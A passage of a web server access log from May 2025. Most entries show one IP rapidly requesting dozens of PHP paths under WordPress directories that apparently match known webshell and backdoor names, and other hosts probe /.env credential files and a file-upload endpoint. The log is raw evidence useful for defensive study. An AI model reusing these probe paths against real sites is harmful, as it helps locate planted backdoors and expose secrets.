-0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:33 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:33 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:34 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:35 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:35 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:36 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:37 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:37 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:38 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:38 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:39 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:40 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:41 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:41 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:42 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:42 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:43 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:44 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:45 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:46 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:46 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:47 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:48 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:48 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:49 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:49 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:50 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:51 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:52 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:52 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:53 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:54 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:55 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:55 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:56 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:57 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:58 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:48:59 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:00 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:01 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:02 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:03 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:05 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:06 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:07 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:08 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:08 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:09 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:11 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:12 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:13 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:14 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:15 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:16 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:18 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:19 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:21 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:22 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:24 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:25 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:26 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:27 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:28 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:29 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:31 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:32 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:33 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:35 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:36 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:36 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:37 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:38 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:39 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:40 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:41 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:42 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:43 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:43 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:44 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:45 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:45 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:47 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:47 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:48 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:49 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:49 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:50 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:51 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:52 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:53 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:53 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:54 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:55 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:56 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:57 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:58 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:49:59 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:00 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:01 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:02 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:04 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:05 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:06 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:07 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:09 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:13 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:17 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:18 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:20 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:22 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:25 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:26 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:27 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:28 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:29 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:30 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:30 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:31 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:32 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:33 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:33 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:34 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:35 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:36 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:36 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:37 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:37 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:38 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:39 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:39 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:40 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:41 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:42 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:42 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:43 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:44 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:44 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:45 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:45 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:46 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:46 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:47 -0400] "GET /wp-content/plugins/elementor/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:48 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:48 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:49 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:49 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:50 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:51 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:52 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:52 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:53 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:54 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:55 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:55 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:56 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:57 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:57 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:58 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:59 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:50:59 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:00 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:00 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:01 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:02 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:02 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:03 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:04 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:05 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:05 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:06 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:07 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:07 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:08 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:09 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:09 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:10 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:11 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:12 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:13 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:15 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:15 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:17 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:18 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:19 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:20 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:22 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:23 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:25 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:26 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:29 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:30 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:31 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:32 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:32 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:33 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:34 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:35 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:36 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:37 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:37 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:38 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:39 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:39 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:40 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:41 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:41 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:42 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:43 -0400] "GET /wp-includes/Requests/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:43 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:44 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:45 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:46 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:51:47 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 196.127.35.27 - - [01/May/2025:16:06:13 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 2a0b:4143:0:321::2 - - [01/May/2025:16:27:58 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 2a0b:4143:0:321::2 - - [01/May/2025:16:27:59 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 196.251.69.35 - - [01/May/2025:16:43:27 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 196.251.69.35 - - [01/May/2025:16:43:28 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 195.20.18.145 - - [01/May/2025:16:50:46 -0400] "GET /assets/plugins/jQuery-File-Upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 51.159.211.164 - - [01/May/2025:16:51:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 113.141.91.58 - - [01/May/2025:17:04:12 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.234.160.217 - - [01/May/2025:17:06:40 -0400] "GET /wp-content/plugins/woocommerce-payments/readme.txt HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:17:06:42 -0400] 